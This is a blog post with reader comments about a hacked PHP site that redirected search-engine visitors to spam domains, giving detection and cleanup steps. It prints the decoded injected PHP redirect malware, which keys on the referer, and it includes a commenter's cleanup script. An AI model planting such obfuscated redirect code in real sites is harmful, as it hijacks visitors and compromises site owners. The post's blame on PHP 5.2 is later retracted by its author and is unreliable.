Home > PHP, Security > Watch out! PHP 5.2 vulnerability, site hacked and redirections to “finditnow.osa.pl”

Watch out! PHP 5.2 vulnerability, site hacked and redirections to “finditnow.osa.pl”

Today we found out that traffic for one of the Websites we work on drop off significantly during the weekend, we obviously freaked out.

From a Google results page, we clicked in one of the links to the site and we got redirected to:
http://finditnow.osa.pl/atp/?said=3333g&q=[BOGUS SEARCH TERMS HERE]

We then followed this testing / ruling out process:

  • HTTP Live Headers for Firefox showed a 304 (found redirect to that site).
  • Turning off JavaScript in the browser didn’t help!, redirection was taking place anyway (so no JS hack).
  • Same redirect behavior from Bing / Yahoo! results pages.
  • When entering the same URL directly into the browser the page showed up correctly.

That led us think:

  • PHP / .htaccess files were compromised.
  • Some sort of $_SERVER['HTTP_REFERER'] comparision is being used to trigger the hack for traffic coming from SERP’s only.

The following grep search in the site’s document root confirmed our worst fears:

grep -rl "eval(base64_decode" *

About 20 PHP files were found to have this piece of “disguised” code on top:

// Original code:
eval(base64_decode(DQplcnJvcl9yZX[... more stuff here ...]));

// When decoded, the lines look like this:
error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
    $referer=$_SERVER['HTTP_REFERER'];
    $ua=$_SERVER['HTTP_USER_AGENT'];
    if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"ask.com") or stristr($referer,"msn") or stristr($referer,"live") or stristr($referer,"facebook")) {
        if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
            header("Location: http://buyordie.osa.pl/");
            exit();
        }
    }
}

Seems a PHP 5.2.x vulnerability has been found that allows users to modify files in your server, not sure how or under what conditions, we’re in the process of finding more details about it.

TO FIX THE HACK DO THE FOLLOWING:

  1. Locate the hacked files (with the “grep” command shown above) and remove the “eval” lines from them (we have automated deployments in place so re-deploying the last version of the site solved the issues for us).
  2. If possible, upgrade to PHP 5.3 right away.
  3. Another additional paranoic approaches can be taken such as checking folder/files owners and permissions, changing your application(s) passwords, etc.

If you have an MVC application go to your main front controller file (usually called “index.php” in your document root) you very likely have injected code in there.

Hope this helps somebody out there, I’ll keep you posted on any findings in regards to this.

Categories: PHP, Security Tags: , , , , ,
  1. April 26th, 2011 at 02:49 | #1

    This happened to me last month, and again today. I am at the end of my rope here. Any more advise would be amazing. It keeps happening.

  2. steve
    April 29th, 2011 at 14:53 | #2

    Many thanks for this info. Just had my site hacked in reciently, and with the help of your post fixed it quickly. Thanks again

  3. May 6th, 2011 at 23:44 | #3

    Hi CJ, an update on this is that we’re not actually sure that the PHP version is the problem anymore, same as for you, it happened to us again after the upgrade.

    We are not really sure how the attackers are doing it but it look like enforcing our permissions structure solved it, make sure that your Web Server (in this case Apache) cannot rewrite / modify application files.

    In a *nix system one way of doing it would be:

    1) Apache should be running under a user:group such as “webserver:webserver”.
    2) All your site files should be owned by a user:group such as “yoursitename:yoursitename” (don’t add “webserver” user to the “yoursitename” group).
    3) Make a list of directories your Web Server MUST have write access to and set their ownership to “webserver:yoursitename” (make sure the owner has write permissions on those).
    e.g. upload directories, logs directories, etc.

    Result: If your PHP scripts are compromised they cannot modify themselves, cannot modify index files, htaccess files, etc., those files will be safe from that kind of attack (and seems to be the way this attackers are getting in).

    I hope this helps someone out there, cheers!

  4. May 7th, 2011 at 17:33 | #4

    I still can’t resolve the above issue. Host not a help. Can you add anything else that was helpful?

  5. May 17th, 2011 at 00:09 | #5

    Hi KJ!

    Permissions did the trick for us, hasn’t happened again since we implemented the changes described in my last comment, hope you can fix it, there may be situations when this is difficult to accomplish (like when having the site in a shared hosting environment).

  6. June 6th, 2011 at 11:21 | #6

    Look for a file named “tmp.php”. The hacker planted the file to granted themselves permission to access the server as well as database.
    You will shock to see the codes written behind the file. goodluck.

  7. October 11th, 2011 at 12:09 | #7

    Our sites was under similar attack. Attack was done via security hole in awstats, what enabled to run arbitrary command via crafting configdir parameter.
    Hacker probably used this vulnerability to run script that adds obfuscated php code into web pages.
    I used this recovery script:

    cleanAwstatsHack.sh
    ————————————————————————————————
    #!/bin/bash
    echo “Starting to traverse”;
    cd /

    find /home /usr/share /var /root -type f -name ‘*.php’ | while read i; do

    #check by grepping if it contains the evil code
    grp=`grep ‘eval(base64_decode(“ZX’ “$i”`
    if [ -z "$grp" ]; then
    continue;
    fi

    echo $i
    cp $i $i.baklorem
    sed ‘s/eval(base64_decode(“ZX.*”));//g’ $i.baklorem > $i

    done
    echo “Check done!”
    —————————————————————————————————————-

    I recommend to run it under screen like this:
    sh cleanAwstatsHack.sh | tee cleanAwstatsHack.log

  8. Dave
    October 13th, 2011 at 13:46 | #8

    Hi Jorge, do you have any updates since May? I am being “attacked” almost every day! and the shared host says it’s not them. I’m sending them your note on permissions to see if that may help. I was checking CloudFlare to see if their protection may help, but they just said that they cannot protect against this exploit at this time.

  9. October 16th, 2011 at 12:27 | #9

    Thank you for this blog!

    In my WP installation the wp-config file was infected.

  10. Colm
    February 5th, 2012 at 06:51 | #10

    @ph4r05

    thanks for the script ph4r05 – it helped me out a lot

  1. No trackbacks yet.